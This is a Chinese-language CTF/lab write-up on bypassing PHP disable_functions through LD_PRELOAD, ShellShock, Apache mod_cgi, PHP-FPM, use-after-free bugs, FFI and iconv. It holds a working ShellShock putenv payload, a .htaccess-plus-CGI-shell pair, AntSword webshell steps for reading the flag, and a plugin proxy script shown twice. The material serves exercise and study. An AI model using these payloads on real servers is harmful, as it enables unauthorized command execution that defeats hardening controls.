Bypass disable_function
- LD_PRELOAD
- ShellShock
- Apache Mod CGI
-
- 脚本:
- 简单方法:
- PHP-FPM
- UAF
-
- GC
- Json Serializer UAF
- Backtrace UAF
- FFI
- iconv
LD_PRELOAD
时间紧 于是先采用最省时的方法
先蚁剑连
发现打不开flag文件
要使用蚁剑插件绕过disabled function
如果蚁剑插件市场打不开的话可以去github搜
github上有说明 按着他的安
连上之后在蚁剑主页面右键webshell使用该插件
按照步骤操作
成功后把webshell地址改为http://……/.antproxy.php
在连上就能tac了
tac /flag
ShellShock
进去发现连不上
查了下大佬博客说是环境不正常
原理如下
如果环境变量的值以字符() {开头,那么这个变量就会被当作是一个导入函数的定义(Export),这种定义只有在shell启动的时候才生效。
脚本
<?php
$cmd = " tac /flag>/var/www/html/1.txt";
putenv("PHP_DMIND=() { :; };$cmd");
error_log("dmind",1);
echo file_get_contents("/var/www/html/1.txt");
?>
用蚁剑传进去后
浏览器访问这个文件即可在1.txt看到flag
Apache Mod CGI
如果.htaccess文件被攻击者修改的话,攻击者就可以利用apache的mod_cgi模块,直接绕过PHP的任何限制,来执行系统命令
1.Mod CGI就是把PHP做为APACHE一个内置模块,让apache http服务器本身能够支持PHP语言,不需要每一个请求都通过启动PHP解释器来解释PHP.
2.它可以将cgi-script文件或者用户自定义标识头为cgi-script的文件通过服务器运行.
3.在.htaccess文件中可定制用户定义标识头
4.添加Options +ExecCGI,代表着允许使用mod_cgi模块执行CGI脚本
5.添加AddHandler cgi-script .cgi,代表着包含.cgi扩展名的文件都将被视为CGI程序
条件
- 必须是apache环境
- mod_cgi已经启用
- 必须允许.htaccess文件,也就是说在httpd.conf中,要注意AllowOverride选项为All,而不是none
- 必须有权限写.htaccess文件
脚本:
.htaccess
Options +ExecCGI
AddHandler cgi-script .cgi
shell.cgi
#!/bin/sh
echo&&cd "/var/www/html/backdoor";cat shell.cgi;echo 96642;pwd;echo c26b314f4b
简单方法:
蚁剑连
还是那个插件bypass!
PHP-FPM
- FPM是fast-cgi的协议解析器
- webserver使用cgi协议封装好用户的请求发送给FPM
- FPM按照cgi的协议将TCP流解析成真正的数据
蚁剑bypass
模式:FPM
地址:127.0.0.1:9000或localhost:9000
植入后修改shell地址为http://……/.antproxy.php
<?php
function get_client_header(){
$headers=array();foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));$k=preg_replace_callback('/_\w/','header_callback',$k);$k=preg_replace('/^_/','',$k);$k=str_replace('_','-',$k);if($k=='Host') continue;$headers[]="$k:$v";}}return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode(" ",$sResponse, 2);$ret=array($headerstr,$sResponse);if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);}return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 61921;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;
UAF
GC
利用的是PHP Garbage Collector程序中的堆溢出触发
题目附件
其实蚁剑的reference就有这附件 包括后面的大佬脚本
可以用蚁剑一把梭
另附
大佬poc
UAF的脚本里面都有
tql!
Json Serializer UAF
漏洞利用json在序列化中的堆溢出触发bypass,漏洞为bug #77843
蚁剑一把梭
Backtrace UAF
漏洞利用的是 debug_backtrace这个函数,可以利用该函数的漏洞返回已经销毁的变量的引用达成堆溢出,漏洞为bug #76047
FFI
PHP FFI详解
disabled function:
pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,dl,mail,system,putenv
iconv
- github.com/AntSwordProject/AntSword-Labs/tree/master/bypass_disable_functions/9/
- https://gist.github.com/LoadLow/90b60bd5535d6c3927bb24d5f9955b80
<?php
function get_client_header(){
$headers=array();foreach($_SERVER as $k=>$v){
if(strpos($k,'HTTP_')===0){
$k=strtolower(preg_replace('/^HTTP/', '', $k));$k=preg_replace_callback('/_\w/','header_callback',$k);$k=preg_replace('/^_/','',$k);$k=str_replace('_','-',$k);if($k=='Host') continue;$headers[]="$k:$v";}}return $headers;
}
function header_callback($str){
return strtoupper($str[0]);
}
function parseHeader($sResponse){
list($headerstr,$sResponse)=explode(" ",$sResponse, 2);$ret=array($headerstr,$sResponse);if(preg_match('/^HTTP/1.1 d{3}/', $sResponse)){
$ret=parseHeader($sResponse);}return $ret;
}
set_time_limit(120);
$headers=get_client_header();
$host = "127.0.0.1";
$port = 63947;
$errno = '';
$errstr = '';
$timeout = 30;
$url = "/index.php";
if (!empty($_SERVER['QUERY_STRING'])){
$url .= "?".$_SERVER['QUERY_STRING'];
};
$fp = fsockopen($host, $port, $errno, $errstr, $timeout);
if(!$fp){
return false;
}
$method = "GET";
$post_data = "";
if($_SERVER['REQUEST_METHOD']=='POST') {
$method = "POST";$post_data = file_get_contents('php://input');
}
$out = $method." ".$url." HTTP/1.1\r\n";
$out .= "Host: ".$host.":".$port."\r\n";
if (!empty($_SERVER['CONTENT_TYPE'])) {
$out .= "Content-Type: ".$_SERVER['CONTENT_TYPE']."\r\n";
}
$out .= "Content-length:".strlen($post_data)."\r\n";
$out .= implode("\r\n",$headers);
$out .= "\r\n\r\n";
$out .= "".$post_data;
fputs($fp, $out);
$response = '';
while($row=fread($fp, 4096)){
$response .= $row;
}
fclose($fp);
$pos = strpos($response, "\r\n\r\n");
$response = substr($response, $pos+4);
echo $response;